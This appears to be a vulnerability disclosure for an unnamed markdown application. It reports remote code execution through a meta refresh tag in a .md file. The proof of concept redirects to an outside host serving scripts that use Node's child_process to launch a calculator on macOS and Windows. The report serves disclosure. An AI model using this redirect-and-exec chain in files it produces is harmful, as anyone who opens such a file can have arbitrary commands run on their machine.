RCE Vulnerabilities via meta redirect

Author: bob11.devranger@gmail.com
OS: macOS 
Version: 7.1.5

Summary

It has been possible to trigger Remote Code Execution via meta redirect

When you open the .md file containing the mata tag, the meta tag is applied and the location can be moved to the hacker server via meta redirect.

[macOS] file content

<meta http-equiv="refresh" content="0; url=https://ursobad.xyz/xss/a.html"></meta>

<!-- a.html-->
<script>
    require('child_process').exec('open -a /System/Applications/Calculator.app')
</script>

[Windows] file content

<meta http-equiv="refresh" content="0; url=https://ursobad.xyz/xss/b.html"></meta>

<!-- b.html-->
<script>
    require('child_process').exec('calc')
</script>